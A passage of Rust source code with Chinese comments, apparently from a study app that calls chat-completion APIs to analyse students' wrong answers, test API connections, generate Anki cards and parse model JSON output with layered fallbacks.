// 如果有RAG上下文，添加到系统消息中
if let Some(rag_context) = context.get("rag_context").and_then(|v| v.as_str()) {
system_content.push_str(&format!("\n\n--- 知识库参考信息 ---\n{}", rag_context));
}
// 如果有最新用户查询（继续对话时），添加到系统消息中
if let Some(latest_query) = context.get("latest_user_query").and_then(|v| v.as_str()) {
system_content.push_str(&format!("\n\n用户最新问题: {}", latest_query));
}
// 对于推理模型，系统消息需要合并到用户消息中
if config.is_reasoning {
// 推理模型不支持系统消息，需要将系统提示合并到用户消息中
let combined_content = format!("{}\n\n请基于上述信息，提供详细的解答。", system_content);
if config.is_multimodal && images_base64.is_some() && chat_history.is_empty() {
let mut content = vec![
json!({
"type": "text",
"text": combined_content
})
];
if let Some(images) = &images_base64 {
for image_base64 in images {
let image_format = Self::detect_image_format_from_base64(image_base64);
println!("🖼️ 检测到图像格式: {}", image_format);
content.push(json!({
"type": "image_url",
"image_url": {
"url": format!("data:image/{};base64,{}", image_format, image_base64)
}
}));
}
}
messages.push(json!({
"role": "user",
"content": content
}));
} else if chat_history.is_empty() {
messages.push(json!({
"role": "user",
"content": combined_content
}));
} else {
// 如果有聊天历史，将系统提示添加到第一条用户消息前
messages.push(json!({
"role": "user",
"content": format!("{}请基于前面的信息，回答我的新问题。", system_content)
}));
}
} else {
// 非推理模型使用标准的系统消息
messages.push(json!({
"role": "system",
"content": system_content
}));
// 如果是多模态模型且提供了图片，添加图片到第一条用户消息
if config.is_multimodal && images_base64.is_some() && chat_history.is_empty() {
let mut content = vec![
json!({
"type": "text",
"text": "请基于上述信息和图片，提供详细的解答。"
})
];
if let Some(images) = &images_base64 {
for image_base64 in images {
let image_format = Self::detect_image_format_from_base64(image_base64);
println!("🖼️ 检测到图像格式: {}", image_format);
content.push(json!({
"type": "image_url",
"image_url": {
"url": format!("data:image/{};base64,{}", image_format, image_base64)
}
}));
}
}
messages.push(json!({
"role": "user",
"content": content
}));
} else if chat_history.is_empty() {
// 纯文本模型或没有提供图片
messages.push(json!({
"role": "user",
"content": "请基于上述信息，提供详细的解答。"
}));
}
}
// 添加聊天历史
for msg in chat_history {
messages.push(json!({
"role": msg.role,
"content": msg.content
}));
}
let mut request_body = json!({
"model": config.model,
"messages": messages,
"stream": false // 非流式版本
});
// 根据模型适配器类型设置不同的参数
println!("模型适配器类型: {}, 推理模型: {}", config.model_adapter, config.is_reasoning);
if config.is_reasoning {
// 推理模型的特殊参数
match config.model_adapter.as_str() {
"deepseek-r1" => {
request_body["max_tokens"] = json!(config.max_output_tokens);
println!("应用 DeepSeek-R1 特殊参数: max_tokens={}", config.max_output_tokens);
},
_ => {
// 其他推理模型（如o1系列）
request_body["max_completion_tokens"] = json!(config.max_output_tokens);
println!("应用通用推理模型参数: max_completion_tokens={}", config.max_output_tokens);
}
}
} else {
// 普通模型的标准参数
request_body["max_tokens"] = json!(config.max_output_tokens);
request_body["temperature"] = json!(config.temperature);
println!("应用普通模型参数: max_tokens={}, temperature={}", config.max_output_tokens, config.temperature);
}
let mut request_builder = self.client
.post(&format!("{}/chat/completions", config.base_url))
.header("Authorization", format!("Bearer {}", config.api_key))
.header("Content-Type", "application/json")
.header("Accept", "application/json, text/plain, */*")
.header("Accept-Encoding", "identity") // 禁用压缩，避免二进制响应
.header("Accept-Language", "zh-CN,zh;q=0.9,en;q=0.8")
.header("Connection", "keep-alive")
.header("User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36");
if let Ok(parsed_url) = Url::parse(&config.base_url) {
if (parsed_url.scheme() == "http" || parsed_url.scheme() == "https") && parsed_url.host_str().is_some() {
let origin_val = format!("{}://{}", parsed_url.scheme(), parsed_url.host_str().unwrap_or_default());
let referer_val = format!("{}://{}/", parsed_url.scheme(), parsed_url.host_str().unwrap_or_default());
request_builder = request_builder
.header("Origin", origin_val)
.header("Referer", referer_val);
}
}
let response = request_builder
.json(&request_body)
.send()
.await
.map_err(|e| AppError::network(format!("模型二API请求失败: {}", e)))?;
if !response.status().is_success() {
let status = response.status();
let error_text = response.text().await.unwrap_or_default();
return Err(AppError::llm(format!("模型二API请求失败: {} - {}", status, error_text)));
}
let response_json: Value = response.json().await
.map_err(|e| AppError::llm(format!("解析模型二响应失败: {}", e)))?;
let content = response_json["choices"][0]["message"]["content"]
.as_str()
.ok_or_else(|| AppError::llm("无法解析模型二API响应"))?;
// 如果启用了思维链，尝试提取思维链详情
let is_deepseek_r1 = config.model_adapter == "deepseek-r1";
let chain_of_thought_details = if enable_chain_of_thought || is_deepseek_r1 {
// 这里可以根据响应内容解析思维链步骤
// 暂时将完整响应作为思维链详情
Some(json!({
"full_response": content,
"enabled": true,
"is_reasoning_model": config.is_reasoning,
"model_adapter": config.model_adapter
}))
} else {
None
};
Ok(StandardModel2Output {
assistant_message: content.to_string(),
raw_response: Some(response_json.to_string()),
chain_of_thought_details,
})
}
// 测试API连接 - 支持指定模型名称
pub async fn test_connection(&self, api_key: &str, base_url: &str) -> Result<bool> {
self.test_connection_with_model(api_key, base_url, None).await
}
// 测试API连接 - 可以指定具体模型
pub async fn test_connection_with_model(&self, api_key: &str, base_url: &str, model_name: Option<&str>) -> Result<bool> {
println!("测试API连接: {} (密钥长度: {})", base_url, api_key.len());
// 确保base_url格式正确
let normalized_url = if base_url.ends_with('/') {
base_url.trim_end_matches('/').to_string()
} else {
base_url.to_string()
};
// 如果指定了模型名称，优先使用指定的模型
let test_models = if let Some(specified_model) = model_name {
vec![specified_model.to_string()]
} else {
// 使用通用的测试模型名称，不同API提供商可能支持不同的模型
vec![
"gpt-3.5-turbo".to_string(), // OpenAI
"deepseek-chat".to_string(), // DeepSeek
"Qwen/Qwen2-7B-Instruct".to_string(), // SiliconFlow
"meta-llama/Llama-2-7b-chat-hf".to_string(), // 其他
]
};
// 尝试不同的模型进行测试
for model in test_models {
let request_body = json!({
"model": model,
"messages": [
{
"role": "user",
"content": "Hi"
}
],
"max_tokens": 5,
"temperature": 0.1
});
println!("尝试模型: {}", model);
// 使用tokio的timeout包装整个请求
let timeout_duration = std::time::Duration::from_secs(15);
let mut request_builder = self.client
.post(&format!("{}/chat/completions", normalized_url))
.header("Authorization", format!("Bearer {}", api_key))
.header("Content-Type", "application/json")
.header("Accept", "application/json, text/plain, */*")
.header("Accept-Encoding", "identity") // 禁用压缩，避免二进制响应
.header("Accept-Language", "zh-CN,zh;q=0.9,en;q=0.8")
.header("Connection", "keep-alive")
.header("User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36");
if let Ok(parsed_url) = Url::parse(&normalized_url) { // Use normalized_url here
if (parsed_url.scheme() == "http" || parsed_url.scheme() == "https") && parsed_url.host_str().is_some() {
let origin_val = format!("{}://{}", parsed_url.scheme(), parsed_url.host_str().unwrap_or_default());
let referer_val = format!("{}://{}/", parsed_url.scheme(), parsed_url.host_str().unwrap_or_default());
request_builder = request_builder
.header("Origin", origin_val)
.header("Referer", referer_val);
}
}
let request_future = request_builder
.json(&request_body)
.send();
// 使用tokio::time::timeout
match tokio::time::timeout(timeout_duration, request_future).await {
Ok(Ok(response)) => {
let status = response.status();
println!("API连接测试响应状态: {} (模型: {})", status, model);
if status.is_success() {
println!("API连接测试成功！使用模型: {}", model);
return Ok(true);
} else if status == 400 {
// 400错误可能是模型不支持，尝试下一个
let error_text = response.text().await.unwrap_or_default();
println!("模型 {} 不支持，错误: {}", model, error_text);
// 如果是用户指定的模型，直接返回失败
if model_name.is_some() {
return Ok(false);
}
continue;
} else if status == 401 {
// 401是认证错误，不需要尝试其他模型
println!("API密钥认证失败: {}", status);
return Ok(false);
} else {
// 其他错误
let error_text = response.text().await.unwrap_or_default();
println!("API请求失败: {} - {}", status, error_text);
// 如果是用户指定的模型，直接返回失败
if model_name.is_some() {
return Ok(false);
}
continue;
}
},
Ok(Err(e)) => {
println!("API连接测试请求错误 (模型: {}): {}", model, e);
// 如果是连接错误，不需要尝试其他模型
if e.to_string().contains("handshake") || e.to_string().contains("connect") {
return Err(AppError::network(format!("连接失败: {}", e)));
}
// 如果是用户指定的模型，直接返回失败
if model_name.is_some() {
return Err(AppError::network(format!("请求失败: {}", e)));
}
continue;
},
Err(_) => {
println!("API连接测试超时 (模型: {})", model);
// 如果是用户指定的模型，直接返回失败
if model_name.is_some() {
return Err(AppError::network("请求超时"));
}
continue;
}
}
}
println!("所有测试模型都失败了");
Ok(false)
}
}
// 获取科目配置的Prompt模板（从数据库读取）
impl LLMManager {
pub fn get_subject_prompt(&self, subject: &str, task_type: &str) -> String {
// 尝试从数据库获取科目配置
match self.db.get_subject_config_by_name(subject) {
Ok(Some(config)) => {
let base_prompt = match task_type {
"model1" | "ocr" | "classification" => {
// OCR和分类任务使用OCR提示词+分类提示词
let mut prompt = config.prompts.ocr_prompt.clone();
if !config.prompts.classification_prompt.is_empty() {
prompt.push_str("\n\n");
prompt.push_str(&config.prompts.classification_prompt);
}
// 添加JSON格式要求
prompt.push_str("\n\n请以JSON格式返回结果：{\"ocr_text\": \"题目文字\", \"tags\": [\"标签1\", \"标签2\"], \"mistake_type\": \"题目类型\"}");
prompt
},
"model2" | "analysis" => {
config.prompts.analysis_prompt.clone()
},
"review" => {
config.prompts.review_prompt.clone()
},
"chat" => {
config.prompts.chat_prompt.clone()
},
"consolidated_review" | "consolidated_review_chat" => {
config.prompts.consolidated_review_prompt.clone()
},
"anki_generation" => {
config.prompts.anki_generation_prompt.clone()
},
_ => {
config.prompts.analysis_prompt.clone() // 默认为分析
}
};
// 替换占位符
base_prompt.replace("{subject}", subject)
},
_ => {
// 如果无法从数据库获取配置，使用默认提示词
self.get_fallback_prompt(subject, task_type)
}
}
}
// 备用提示词（当数据库配置不可用时使用）
fn get_fallback_prompt(&self, subject: &str, task_type: &str) -> String {
match task_type {
"model1" | "ocr" | "classification" => {
format!("你是一个{}题目分析专家。请识别图片中的{}题目文字内容，并分析题目类型和相关知识点标签。\n\n【重要】OCR文本提取要求：\n1. 提取纯文本内容，不要使用LaTeX格式\n2. 数学公式用普通文字描述\n3. 保持文本简洁易读\n4. 避免使用特殊LaTeX命令\n\n请以JSON格式返回结果：{{\"ocr_text\": \"题目文字\", \"tags\": [\"标签1\", \"标签2\"], \"mistake_type\": \"题目类型\"}}", subject, subject)
},
"model2" | "analysis" => {
if subject == "数学" || subject == "物理" || subject == "化学" || subject == "生物" {
format!("你是一个{}教学专家。请仔细分析这道{}错题，提供详细的解题思路和知识点讲解。\n\n【重要】公式格式要求：\n1. 行内公式请使用 $\\text{{公式}}$ 格式\n2. 独立公式请使用 $$\\text{{公式}}$$ 格式\n3. 分数请使用 \\frac{{分子}}{{分母}} 格式\n4. 积分请使用 \\int 格式\n5. 求和请使用 \\sum 格式\n6. 根号请使用 \\sqrt{{}} 格式\n7. 幂次请使用 ^ 符号，如 x^2\n8. 下标请使用 _ 符号，如 x_1\n9. 希腊字母请使用对应的LaTeX命令，如 \\alpha, \\beta\n10. 请确保所有数学表达式都严格按照LaTeX格式书写，避免使用纯文本表示数学公式", subject, subject)
} else {
format!("你是一个{}教学专家。请仔细分析这道{}错题，提供详细的解题思路和知识点讲解。", subject, subject)
}
},
"review" => {
format!("你是一个{}学习分析专家。请分析这些{}错题的共同问题和改进建议。", subject, subject)
},
"consolidated_review" => {
format!("你是一个{}学习分析专家。请对提供的{}错题进行综合复习分析，包括知识点总结、常见错误模式识别和学习建议。", subject, subject)
},
"chat" => {
if subject == "数学" || subject == "物理" || subject == "化学" || subject == "生物" {
format!("基于这道{}题目，请回答学生的问题。\n\n【重要】公式格式要求：\n1. 行内公式请使用 $公式$ 格式\n2. 独立公式请使用 $$公式$$ 格式\n3. 分数请使用 \\frac{{分子}}{{分母}} 格式\n4. 积分请使用 \\int 格式\n5. 求和请使用 \\sum 格式\n6. 根号请使用 \\sqrt{{}} 格式\n7. 请确保所有数学表达式都严格按照LaTeX格式书写", subject)
} else {
format!("基于这道{}题目，请回答学生的问题。", subject)
}
},
"anki_generation" => {
format!("请根据以下{}科目的学习内容，生成适合制作Anki卡片的问题和答案对。每张卡片应测试一个单一的概念。请以JSON数组格式返回结果，每个对象必须包含 \"front\" (字符串), \"back\" (字符串), \"tags\" (字符串数组) 三个字段。", subject)
},
_ => {
format!("请根据提供的{}题目信息，详细解答问题。", subject)
}
}
}
/// 生成ANKI卡片 - 核心功能
pub async fn generate_anki_cards_from_document(
&self,
document_content: &str,
subject_name: &str,
options: Option<&crate::models::AnkiGenerationOptions>,
) -> Result<Vec<crate::models::AnkiCard>> {
println!("开始生成ANKI卡片: 科目={}, 文档长度={}", subject_name, document_content.len());
// 1. 获取ANKI制卡模型配置
let config = self.get_anki_model_config().await?;
// 2. 获取科目特定的ANKI制卡Prompt
let subject_prompt = self.get_subject_prompt(subject_name, "anki_generation");
// 3. 构建最终的AI指令
let final_prompt = format!("{}\n\n文档内容：\n{}", subject_prompt, document_content);
// 4. 准备AI模型请求
let max_tokens = options.as_ref()
.and_then(|opt| opt.max_tokens)
.unwrap_or(config.max_output_tokens); // 使用配置中的max_output_tokens
let temperature = options.as_ref()
.and_then(|opt| opt.temperature)
.unwrap_or(0.3);
let mut request_body = json!({
"model": config.model,
"messages": [
{
"role": "user",
"content": final_prompt
}
],
"max_tokens": max_tokens,
"temperature": temperature
});
// 如果支持JSON模式，添加response_format
if config.model.starts_with("gpt-") {
request_body["response_format"] = json!({"type": "json_object"});
}
println!("发送ANKI制卡请求到: {}/chat/completions", config.base_url);
// 5. 发送HTTP请求至AI模型
let mut request_builder = self.client
.post(&format!("{}/chat/completions", config.base_url))
.header("Authorization", format!("Bearer {}", config.api_key))
.header("Content-Type", "application/json")
.header("Accept", "application/json, text/plain, */*")
.header("Accept-Encoding", "identity") // 禁用压缩，避免二进制响应
.header("Accept-Language", "zh-CN,zh;q=0.9,en;q=0.8")
.header("Connection", "keep-alive")
.header("User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36");
if let Ok(parsed_url) = Url::parse(&config.base_url) {
if (parsed_url.scheme() == "http" || parsed_url.scheme() == "https") && parsed_url.host_str().is_some() {
let origin_val = format!("{}://{}", parsed_url.scheme(), parsed_url.host_str().unwrap_or_default());
let referer_val = format!("{}://{}/", parsed_url.scheme(), parsed_url.host_str().unwrap_or_default());
request_builder = request_builder
.header("Origin", origin_val)
.header("Referer", referer_val);
}
}
let response = request_builder
.json(&request_body)
.send()
.await
.map_err(|e| {
let error_msg = if e.to_string().contains("timed out") {
format!("ANKI制卡API请求超时: {}", e)
} else if e.to_string().contains("connect") {
format!("无法连接到ANKI制卡API服务器: {}", e)
} else {
format!("ANKI制卡API请求失败: {}", e)
};
AppError::network(error_msg)
})?;
// 6. 处理HTTP响应
if !response.status().is_success() {
let status = response.status();
let error_text = response.text().await.unwrap_or_default();
return Err(AppError::llm(format!("ANKI制卡API请求失败: {} - {}", status, error_text)));
}
let response_json: Value = response.json().await
.map_err(|e| AppError::llm(format!("解析ANKI制卡响应失败: {}", e)))?;
// 7. 提取AI生成的内容
let content_str = response_json["choices"][0]["message"]["content"]
.as_str()
.ok_or_else(|| AppError::llm("无法解析ANKI制卡API响应"))?;
println!("ANKI制卡原始响应: {}", content_str);
// 8. 清理和解析AI返回的JSON数据
let cleaned_content = self.clean_anki_json_response(content_str)?;
println!("清理后的JSON: {}", cleaned_content);
// 9. 反序列化为AnkiCard向量（带容错处理）
let cards: Vec<crate::models::AnkiCard> = self.parse_anki_cards_with_fallback(&cleaned_content, content_str)?;
println!("成功生成 {} 张ANKI卡片", cards.len());
Ok(cards)
}
/// 清理AI返回的ANKI卡片JSON响应
fn clean_anki_json_response(&self, content: &str) -> Result<String> {
let mut cleaned = content.trim().to_string();
// 移除markdown代码块
cleaned = regex::Regex::new(r"```(?:json)?\s*")
.unwrap()
.replace_all(&cleaned, "")
.to_string();
cleaned = regex::Regex::new(r"```\s*$")
.unwrap()
.replace_all(&cleaned, "")
.to_string();
// 移除常见前缀
let prefixes = [
"以下是生成的Anki卡片：", "Anki卡片：", "JSON结果：", "卡片数据：",
"Here are the Anki cards:", "Cards:", "JSON:", "Result:",
];
for prefix in &prefixes {
if cleaned.starts_with(prefix) {
cleaned = cleaned.strip_prefix(prefix).unwrap_or(&cleaned).trim().to_string();
break;
}
}
// 确保是有效的JSON数组格式
if !cleaned.starts_with('[') {
// 尝试找到第一个'['
if let Some(start) = cleaned.find('[') {
cleaned = cleaned[start..].to_string();
} else {
return Err(AppError::llm("无法找到JSON数组开始标记"));
}
}
if !cleaned.ends_with(']') {
// 尝试找到最后一个']'
if let Some(end) = cleaned.rfind(']') {
cleaned = cleaned[..=end].to_string();
} else {
return Err(AppError::llm("无法找到JSON数组结束标记"));
}
}
Ok(cleaned)
}
/// 解析ANKI卡片JSON，带容错处理（自动补充缺失的images字段和兼容question字段）
fn parse_anki_cards_with_fallback(&self, json_str: &str, original_content: &str) -> Result<Vec<crate::models::AnkiCard>> {
// 尝试将JSON字符串解析为通用的Value数组
let mut card_values: Vec<Value> = match serde_json::from_str(json_str) {
Ok(v) => v,
Err(e) => {
// 如果连基本JSON都解析不了，直接返回错误
return Err(AppError::llm(format!("解析ANKI卡片JSON失败: {} - 原始内容: {}", e, original_content)));
}
};
// 遍历每个卡片对象，进行字段兼容性处理
for card_value in &mut card_values {
if let Some(obj) = card_value.as_object_mut() {
// 兼容 "question" 字段 -> "front"
if obj.contains_key("question") && !obj.contains_key("front") {
if let Some(question_val) = obj.remove("question") {
obj.insert("front".to_string(), question_val);
}
}
// 自动补充缺失的 "images" 字段
if !obj.contains_key("images") {
obj.insert("images".to_string(), json!([]));
}
}
}
// 将处理过的Value转换回JSON字符串
let processed_json_str = match serde_json::to_string(&card_values) {
Ok(s) => s,
Err(e) => return Err(AppError::llm(format!("重新序列化卡片数据失败: {}", e))),
};
// 使用处理过的JSON字符串进行最终的反序列化
match serde_json::from_str::<Vec<crate::models::AnkiCard>>(&processed_json_str) {
Ok(cards) => Ok(cards),
Err(e) => {
// 如果仍然失败，说明有其他结构问题
Err(AppError::llm(format!("最终解析ANKI卡片失败: {} - 处理后JSON: {}", e, processed_json_str)))
}
}
}
}
// 提取推理模型的思维链段落
/// 改进的思维链内容提取方法，提供多种策略以提高可靠性
fn extract_reasoning_sections(content: &str) -> Vec<serde_json::Value> {
// 策略1: 尝试标准化的思维链格式提取
if let Some(sections) = extract_standard_cot_format(content) {
return sections;
}
// 策略2: 尝试数字列表格式提取
if let Some(sections) = extract_numbered_list_format(content) {
return sections;
}
// 策略3: 尝试关键词段落格式提取
if let Some(sections) = extract_keyword_sections(content) {
return sections;
}
// 策略4: 尝试markdown格式提取
if let Some(sections) = extract_markdown_sections(content) {
return sections;
}
// 策略5: 回退到语义分割
extract_semantic_sections(content)
}
/// 策略1: 提取标准化的思维链格式（如 "## 步骤1:", "### 分析:", 等）
fn extract_standard_cot_format(content: &str) -> Option<Vec<serde_json::Value>> {
use regex::Regex;
// 匹配标准思维链格式的标题
let cot_patterns = [
r"(?i)^#{1,4}\s*(步骤\s*\d+|问题理解|知识点分析|解题思路|具体步骤|结论总结)[:：]?\s*(.*)$",
r"(?i)^(\d+\.\s*(?:问题理解|知识点分析|解题思路|具体步骤|结论总结))[:：]?\s*(.*)$",
r"(?i)^(思考过程\s*\d*|分析\s*\d*|推理\s*\d*)[:：]\s*(.*)$"
];
for pattern in &cot_patterns {
if let Ok(re) = Regex::new(pattern) {
if re.is_match(content) {
return Some(extract_sections_by_regex(content, &re));
}
}
}
None
}
/// 策略2: 提取数字列表格式（如 "1. 分析", "2. 推理"）
fn extract_numbered_list_format(content: &str) -> Option<Vec<serde_json::Value>> {
use regex::Regex;
if let Ok(re) = Regex::new(r"(?m)^(\d+\.\s+.+?)(?=^\d+\.\s|\z)") {
let sections: Vec<_> = re.captures_iter(content)
.enumerate()
.map(|(i, cap)| {
let full_match = cap.get(0).unwrap().as_str();
let lines: Vec<&str> = full_match.lines().collect();
let title = lines.first().unwrap_or(&"").trim();
let content_lines = &lines[1..];
json!({
"title": title,
"content": content_lines.join("\n").trim(),
"section_index": i,
"extraction_method": "numbered_list"
})
})
.collect();
if !sections.is_empty() {
return Some(sections);
}
}
None
}
/// 策略3: 提取关键词段落格式
fn extract_keyword_sections(content: &str) -> Option<Vec<serde_json::Value>> {
let mut sections = Vec::new();
let lines: Vec<&str> = content.lines().collect();
let mut current_section: Option<(String, Vec<String>)> = None;
// 增强的关键词列表
let section_keywords = [
"思考过程", "分析过程", "推理过程", "解题思路", "问题理解",
"知识点分析", "具体步骤", "结论总结", "答案推导", "计算过程",
"观察", "假设", "验证", "解法", "方法", "策略", "思维链",
"第一步", "第二步", "第三步", "最后", "因此", "所以", "综上"
];
for line in lines {
let trimmed = line.trim();
if trimmed.is_empty() {
continue;
}
// 检查是否是段落标题 - 更严格的匹配
let is_section_title = section_keywords.iter().any(|&keyword| {
trimmed.starts_with(keyword) ||
(trimmed.contains(keyword) && (trimmed.ends_with("：") || trimmed.ends_with(":"))) ||
(trimmed.len() < 50 && trimmed.contains(keyword) &&
(trimmed.contains("分析") || trimmed.contains("思考") || trimmed.contains("步骤")))
});
if is_section_title {
// 保存上一个段落
if let Some((title, content_lines)) = current_section.take() {
if !content_lines.is_empty() {
sections.push(json!({
"title": title,
"content": content_lines.join("\n"),
"extraction_method": "keyword_sections"
}));
}
}
// 开始新段落
let title = trimmed.trim_end_matches(['：', ':']).to_string();
current_section = Some((title, Vec::new()));
} else if let Some((_, ref mut content_lines)) = current_section {
// 添加到当前段落内容
content_lines.push(trimmed.to_string());
}
}
// 保存最后一个段落
if let Some((title, content_lines)) = current_section {
if !content_lines.is_empty() {
sections.push(json!({
"title": title,
"content": content_lines.join("\n"),
"extraction_method": "keyword_sections"
}));
}
}
if !sections.is_empty() {
Some(sections)
} else {
None
}
}
/// 策略4: 提取markdown格式
fn extract_markdown_sections(content: &str) -> Option<Vec<serde_json::Value>> {
use regex::Regex;
if let Ok(re) = Regex::new(r"(?m)^(#{1,6}\s+.+?)$((?:(?!^#{1,6}\s).)*?)") {
let sections: Vec<_> = re.captures_iter(content)
.enumerate()
.map(|(i, cap)| {
let title = cap.get(1).unwrap().as_str().trim();
let section_content = cap.get(2).unwrap().as_str().trim();
json!({
"title": title.trim_start_matches('#').trim(),
"content": section_content,
"section_index": i,
"extraction_method": "markdown"
})
})
.collect();
if !sections.is_empty() {
return Some(sections);
}
}
None
}
/// 策略5: 语义分割回退方案
fn extract_semantic_sections(content: &str) -> Vec<serde_json::Value> {
let trimmed_content = content.trim();
if trimmed_content.is_empty() {
return vec![];
}
// 尝试按句号或换行符分割
let sentences: Vec<&str> = trimmed_content
.split(|c| c == '。' || c == '.' || c == '\n')
.map(|s| s.trim())
.filter(|s| !s.is_empty() && s.len() > 10) // 过滤太短的内容
.collect();
if sentences.len() > 1 {
// 如果能分割出多个句子，按句子分组
let sections: Vec<_> = sentences
.chunks(2) // 每两个句子一组
.enumerate()
.map(|(i, chunk)| {
json!({
"title": format!("思维片段 {}", i + 1),
"content": chunk.join("。"),
"section_index": i,
"extraction_method": "semantic_fallback"
})
})
.collect();
sections
} else {
// 无法分割，返回整个内容
vec![json!({
"title": "完整推理内容",
"content": trimmed_content,
"section_index": 0,
"extraction_method": "full_content_fallback"
})]
}
}
/// 通用的正则表达式段落提取器
fn extract_sections_by_regex(content: &str, re: ®ex::Regex) -> Vec<serde_json::Value> {
let sections: Vec<_> = re.captures_iter(content)
.enumerate()
.map(|(i, cap)| {
let title = cap.get(1).map(|m| m.as_str()).unwrap_or("未知段落");
let section_content = cap.get(2).map(|m| m.as_str()).unwrap_or("");
json!({
"title": title.trim(),
"content": section_content.trim(),
"section_index": i,
"extraction_method": "regex"
})
})
.collect();
sections
}
// 清理JSON响应内容
fn clean_json_response(content: &str) -> String {
// 移除常见的包装文本
let mut cleaned = content.trim();
// 移除markdown代码块标记
if cleaned.starts_with("```json") {
cleaned = cleaned.strip_prefix("```json").unwrap_or(cleaned).trim();
}
if cleaned.starts_with("```") {
cleaned = cleaned.strip_prefix("```").unwrap_or(cleaned).trim();
}
if cleaned.ends_with("```") {
cleaned = cleaned.strip_suffix("```").unwrap_or(cleaned).trim();
}
// 移除常见的前缀文本
let prefixes_to_remove = [
"以下是JSON格式的结果：",
"JSON结果：",
"结果：",
"答案：",
"这是分析结果：",
];
for prefix in &prefixes_to_remove {
if cleaned.starts_with(prefix) {
cleaned = cleaned.strip_prefix(prefix).unwrap_or(cleaned).trim();
break;
}
}
cleaned.to_string()
}
// 从文本中提取JSON
fn extract_json_from_text(text: &str) -> Option<String> {
// 方法1：查找第一个{到最后一个}
if let Some(start) = text.find('{') {
if let Some(end) = text.rfind('}') {
if end > start {
let json_candidate = &text[start..=end];
// 验证这是一个合理的JSON结构
if json_candidate.contains("ocr_text") || json_candidate.contains("tags") || json_candidate.contains("mistake_type") {
return Some(json_candidate.to_string());
}
}
}
}
// 方法2：查找包含所需字段的JSON对象
let lines: Vec<&str> = text.lines().collect();
for (i, line) in lines.iter().enumerate() {
if line.trim().starts_with('{') {
// 从这一行开始，找到匹配的}
let mut brace_count = 0;
let mut json_lines = Vec::new();
for j in i..lines.len() {
let current_line = lines[j];
json_lines.push(current_line);
for ch in current_line.chars() {
match ch {
'{' => brace_count += 1,
'}' => brace_count -= 1,
_ => {}
}
}
if brace_count == 0 {
let json_candidate = json_lines.join("\n");
if json_candidate.contains("ocr_text") || json_candidate.contains("tags") || json_candidate.contains("mistake_type") {
return Some(json_candidate);
}
break;
}
}
}
}
None
}
// 修复常见的JSON错误
fn fix_common_json_errors(json_str: &str) -> String {
let mut fixed = json_str.to_string();
// 修复常见的转义问题
// 1. 修复单引号为双引号（但要小心不要破坏字符串内容）
// 这个比较复杂，暂时跳过
// 2. 修复未转义的引号
// 在字符串值中查找未转义的引号并转义它们
// 这需要更复杂的解析，暂时使用简单的替换
// 3. 修复尾随逗号
fixed = fixed.replace(",}", "}");
fixed = fixed.replace(",]", "]");
// 4. 修复多余的空白字符
fixed = fixed.replace("\n", " ");
fixed = fixed.replace("\r", " ");
// 5. 修复常见的字段名问题
fixed = fixed.replace("'ocr_text'", "\"ocr_text\"");
fixed = fixed.replace("'tags'", "\"tags\"");
fixed = fixed.replace("'mistake_type'", "\"mistake_type\"");
// 6. 确保字符串值被正确引用
// 这需要更复杂的逻辑，暂时跳过
fixed
}
/// 强化的模型一JSON响应解析函数
/// 使用多层次解析策略，提高稳定性和成功率
fn parse_model1_json_response(content: &str) -> Result<Value> {
println!("开始强化JSON解析，内容长度: {} 字符", content.len());
// 第一层：直接解析（针对格式良好的响应）
if let Ok(json_value) = serde_json::from_str::<Value>(content.trim()) {
if validate_model1_json(&json_value) {
println!("✅ 第一层解析成功：直接解析");
return Ok(json_value);
} else {
println!("⚠️ 第一层解析成功但数据验证失败");
}
}
// 第二层：预处理后解析（清理常见包装和格式问题）
let cleaned_content = enhanced_clean_json_response(content);
println!("第二层：清理后内容: {}", cleaned_content);
if let Ok(json_value) = serde_json::from_str::<Value>(&cleaned_content) {
if validate_model1_json(&json_value) {
println!("✅ 第二层解析成功：预处理后解析");
return Ok(json_value);
}
}
// 第三层：智能提取（从文本中提取JSON结构）
if let Some(extracted_json) = smart_extract_json_from_text(content) {
println!("第三层：提取的JSON: {}", extracted_json);
if let Ok(json_value) = serde_json::from_str::<Value>(&extracted_json) {
if validate_model1_json(&json_value) {
println!("✅ 第三层解析成功：智能提取");
return Ok(json_value);
}
}
}
// 第四层：模式匹配重构（从非结构化内容中重构JSON）
if let Some(reconstructed_json) = reconstruct_json_from_content(content) {
println!("第四层：重构的JSON: {}", reconstructed_json);
if let Ok(json_value) = serde_json::from_str::<Value>(&reconstructed_json) {
if validate_model1_json(&json_value) {
println!("✅ 第四层解析成功：模式匹配重构");
return Ok(json_value);
}
}
}
// 第五层：降级处理（创建带默认值的最小可用JSON）
let fallback_json = create_fallback_json(content);
println!("第五层：降级处理JSON: {}", fallback_json);
if let Ok(json_value) = serde_json::from_str::<Value>(&fallback_json) {
println!("⚠️ 使用降级处理结果");
return Ok(json_value);
}
// 所有解析策略都失败
Err(AppError::llm(format!(
"所有JSON解析策略都失败。原始内容: {}",
content
)))
}
/// 验证模型一JSON响应的数据结构
fn validate_model1_json(json: &Value) -> bool {
// 检查必需字段存在且类型正确
let has_ocr_text = json.get("ocr_text").and_then(|v| v.as_str()).is_some();
let has_tags = json.get("tags").and_then(|v| v.as_array()).is_some();
let has_mistake_type = json.get("mistake_type").and_then(|v| v.as_str()).is_some();
let is_valid = has_ocr_text && has_tags && has_mistake_type;
if !is_valid {
println!("JSON验证失败: ocr_text={}, tags={}, mistake_type={}",
has_ocr_text, has_tags, has_mistake_type);
}
is_valid
}
/// 增强的JSON清理函数
fn enhanced_clean_json_response(content: &str) -> String {
let mut cleaned = content.trim().to_string();
// 移除markdown代码块
cleaned = regex::Regex::new(r"```(?:json)?\s*").unwrap().replace_all(&cleaned, "").to_string();
cleaned = regex::Regex::new(r"```\s*$").unwrap().replace_all(&cleaned, "").to_string();
// 移除常见前缀和后缀
let prefixes = [
"以下是JSON格式的结果：", "JSON结果：", "结果：", "答案：", "分析结果：",
"Here is the JSON:", "JSON:", "Result:", "Output:", "Analysis:",
"根据分析，JSON格式结果如下：", "JSON格式输出：",
];
for prefix in &prefixes {
if cleaned.starts_with(prefix) {
cleaned = cleaned.strip_prefix(prefix).unwrap_or(&cleaned).trim().to_string();
}
}
// 移除常见后缀
let suffixes = [
